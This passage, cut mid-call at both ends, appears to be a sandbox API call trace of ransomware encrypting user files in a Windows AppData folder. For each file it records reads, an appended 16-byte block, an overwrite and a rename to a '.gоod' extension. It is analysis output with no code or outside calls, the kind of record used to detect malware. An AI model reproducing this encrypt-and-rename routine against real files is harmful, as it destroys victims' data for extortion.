lpFilePart=0x0) returned 0x35 [0217.471] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc.gоod", lpFilePart=0x0) returned 0x3a [0217.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0217.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ooyhsuq8crzzojczc.doc"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f82f00, ftCreationTime.dwHighDateTime=0x1d4c7bd, ftLastAccessTime.dwLowDateTime=0xd90f4eb0, ftLastAccessTime.dwHighDateTime=0x1d4c88d, ftLastWriteTime.dwLowDateTime=0x7dd569e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x29f4)) returned 1 [0217.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0217.472] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ooyhsuq8crzzojczc.doc"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\OoyhSUQ8crZZOjCzc.doc.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ooyhsuq8crzzojczc.doc.gоod")) returned 1 [0217.472] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png", lpFilePart=0x0) returned 0x30 [0217.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0217.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\oyleb3eighap.png"), fInfoLevelId=0x0, lpFileInformation=0x36e1708 | out: lpFileInformation=0x36e1708*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ece460, ftCreationTime.dwHighDateTime=0x1d4d445, ftLastAccessTime.dwLowDateTime=0x8cbdf330, ftLastAccessTime.dwHighDateTime=0x1d4d4cd, ftLastWriteTime.dwLowDateTime=0x8cbdf330, ftLastWriteTime.dwHighDateTime=0x1d4d4cd, nFileSizeHigh=0x0, nFileSizeLow=0x9760)) returned 1 [0217.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0217.472] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png", lpFilePart=0x0) returned 0x30 [0217.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0217.473] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\oyleb3eighap.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0217.473] GetFileType (hFile=0x858) returned 0x1 [0217.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0217.473] GetFileType (hFile=0x858) returned 0x1 [0217.473] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0217.473] ReadFile (in: hFile=0x858, lpBuffer=0x36e1ae0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x36e1ae0*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0217.474] CloseHandle (hObject=0x858) returned 1 [0217.474] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png", lpFilePart=0x0) returned 0x30 [0217.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0217.474] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\oyleb3eighap.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0217.474] GetFileType (hFile=0x858) returned 0x1 [0217.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0217.474] GetFileType (hFile=0x858) returned 0x1 [0217.474] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x9760 [0217.474] WriteFile (in: hFile=0x858, lpBuffer=0x36e2d58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x36e2d58*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0217.474] CloseHandle (hObject=0x858) returned 1 [0217.475] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png", lpFilePart=0x0) returned 0x30 [0217.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0217.475] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\oyleb3eighap.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0217.475] GetFileType (hFile=0x858) returned 0x1 [0218.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0218.428] GetFileType (hFile=0x858) returned 0x1 [0218.428] ReadFile (in: hFile=0x858, lpBuffer=0x36da428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x36da428*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0218.455] CloseHandle (hObject=0x858) returned 1 [0218.455] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png", lpFilePart=0x0) returned 0x30 [0218.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0218.455] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\oyleb3eighap.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0218.455] GetFileType (hFile=0x858) returned 0x1 [0218.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0218.456] GetFileType (hFile=0x858) returned 0x1 [0218.456] WriteFile (in: hFile=0x858, lpBuffer=0x3588768*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3588768*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0218.456] CloseHandle (hObject=0x858) returned 1 [0218.456] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png", lpFilePart=0x0) returned 0x30 [0218.456] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png.gоod", lpFilePart=0x0) returned 0x35 [0218.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0218.456] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\oyleb3eighap.png"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ece460, ftCreationTime.dwHighDateTime=0x1d4d445, ftLastAccessTime.dwLowDateTime=0x8cbdf330, ftLastAccessTime.dwHighDateTime=0x1d4d4cd, ftLastWriteTime.dwLowDateTime=0x7e6b9bc8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9770)) returned 1 [0218.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0218.456] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\oyleb3eighap.png"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\oYLEB3eighaP.png.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\oyleb3eighap.png.gоod")) returned 1 [0218.457] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png", lpFilePart=0x0) returned 0x2f [0218.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0218.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pjrm0wormro.png"), fInfoLevelId=0x0, lpFileInformation=0x3757978 | out: lpFileInformation=0x3757978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c0c00, ftCreationTime.dwHighDateTime=0x1d4caf8, ftLastAccessTime.dwLowDateTime=0x532a6410, ftLastAccessTime.dwHighDateTime=0x1d4c699, ftLastWriteTime.dwLowDateTime=0x532a6410, ftLastWriteTime.dwHighDateTime=0x1d4c699, nFileSizeHigh=0x0, nFileSizeLow=0x82b1)) returned 1 [0218.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0218.457] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png", lpFilePart=0x0) returned 0x2f [0218.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0218.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pjrm0wormro.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0218.458] GetFileType (hFile=0x858) returned 0x1 [0218.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0218.458] GetFileType (hFile=0x858) returned 0x1 [0218.458] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0218.458] ReadFile (in: hFile=0x858, lpBuffer=0x3757d30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3757d30*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0218.459] CloseHandle (hObject=0x858) returned 1 [0218.459] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png", lpFilePart=0x0) returned 0x2f [0218.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0218.459] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pjrm0wormro.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0218.459] GetFileType (hFile=0x858) returned 0x1 [0218.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0218.459] GetFileType (hFile=0x858) returned 0x1 [0218.459] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x82b1 [0218.459] WriteFile (in: hFile=0x858, lpBuffer=0x3758f98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x3758f98*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0218.459] CloseHandle (hObject=0x858) returned 1 [0218.459] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png", lpFilePart=0x0) returned 0x2f [0218.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0218.459] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pjrm0wormro.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0218.460] GetFileType (hFile=0x858) returned 0x1 [0218.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0218.460] GetFileType (hFile=0x858) returned 0x1 [0218.460] ReadFile (in: hFile=0x858, lpBuffer=0x375df48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x375df48*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0218.779] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0219.367] CloseHandle (hObject=0x858) returned 1 [0219.367] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png", lpFilePart=0x0) returned 0x2f [0219.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0219.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pjrm0wormro.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0219.367] GetFileType (hFile=0x858) returned 0x1 [0219.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0219.367] GetFileType (hFile=0x858) returned 0x1 [0219.367] WriteFile (in: hFile=0x858, lpBuffer=0x35e9c28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x35e9c28*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0219.367] CloseHandle (hObject=0x858) returned 1 [0219.367] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png", lpFilePart=0x0) returned 0x2f [0219.367] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png.gоod", lpFilePart=0x0) returned 0x34 [0219.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0219.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pjrm0wormro.png"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c0c00, ftCreationTime.dwHighDateTime=0x1d4caf8, ftLastAccessTime.dwLowDateTime=0x532a6410, ftLastAccessTime.dwHighDateTime=0x1d4c699, ftLastWriteTime.dwLowDateTime=0x7ef76e39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x82c1)) returned 1 [0219.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0219.368] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pjrm0wormro.png"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pjrm0wORMro.png.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pjrm0wormro.png.gоod")) returned 1 [0219.368] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a", lpFilePart=0x0) returned 0x30 [0219.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0219.369] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pqohody7s yw.m4a"), fInfoLevelId=0x0, lpFileInformation=0x37a5e08 | out: lpFileInformation=0x37a5e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6943e740, ftCreationTime.dwHighDateTime=0x1d4c58f, ftLastAccessTime.dwLowDateTime=0x2d7584d0, ftLastAccessTime.dwHighDateTime=0x1d4c729, ftLastWriteTime.dwLowDateTime=0x2d7584d0, ftLastWriteTime.dwHighDateTime=0x1d4c729, nFileSizeHigh=0x0, nFileSizeLow=0x186a3)) returned 1 [0219.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0219.369] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a", lpFilePart=0x0) returned 0x30 [0219.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0219.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pqohody7s yw.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0219.369] GetFileType (hFile=0x858) returned 0x1 [0219.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0219.369] GetFileType (hFile=0x858) returned 0x1 [0219.369] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0219.369] ReadFile (in: hFile=0x858, lpBuffer=0x37a61e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x37a61e0*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0219.370] CloseHandle (hObject=0x858) returned 1 [0219.370] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a", lpFilePart=0x0) returned 0x30 [0219.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0219.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pqohody7s yw.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0219.370] GetFileType (hFile=0x858) returned 0x1 [0219.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0219.370] GetFileType (hFile=0x858) returned 0x1 [0219.370] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x186a3 [0219.371] WriteFile (in: hFile=0x858, lpBuffer=0x37a7458*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x37a7458*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0219.371] CloseHandle (hObject=0x858) returned 1 [0219.371] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a", lpFilePart=0x0) returned 0x30 [0219.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0219.371] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pqohody7s yw.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0219.371] GetFileType (hFile=0x858) returned 0x1 [0219.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0219.371] GetFileType (hFile=0x858) returned 0x1 [0219.371] ReadFile (in: hFile=0x858, lpBuffer=0x37a96f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x37a96f8*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0219.518] CloseHandle (hObject=0x858) returned 1 [0219.519] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a", lpFilePart=0x0) returned 0x30 [0219.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0219.519] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pqohody7s yw.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0219.519] GetFileType (hFile=0x858) returned 0x1 [0219.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0219.519] GetFileType (hFile=0x858) returned 0x1 [0219.519] WriteFile (in: hFile=0x858, lpBuffer=0x3608dc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3608dc8*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0219.519] CloseHandle (hObject=0x858) returned 1 [0219.519] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a", lpFilePart=0x0) returned 0x30 [0219.519] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a.gоod", lpFilePart=0x0) returned 0x35 [0219.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0219.519] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pqohody7s yw.m4a"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6943e740, ftCreationTime.dwHighDateTime=0x1d4c58f, ftLastAccessTime.dwLowDateTime=0x2d7584d0, ftLastAccessTime.dwHighDateTime=0x1d4c729, ftLastWriteTime.dwLowDateTime=0x7f0f4618, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x186b3)) returned 1 [0219.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0219.519] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pqohody7s yw.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\pqOHODy7S yW.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\pqohody7s yw.m4a.gоod")) returned 1 [0219.520] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: 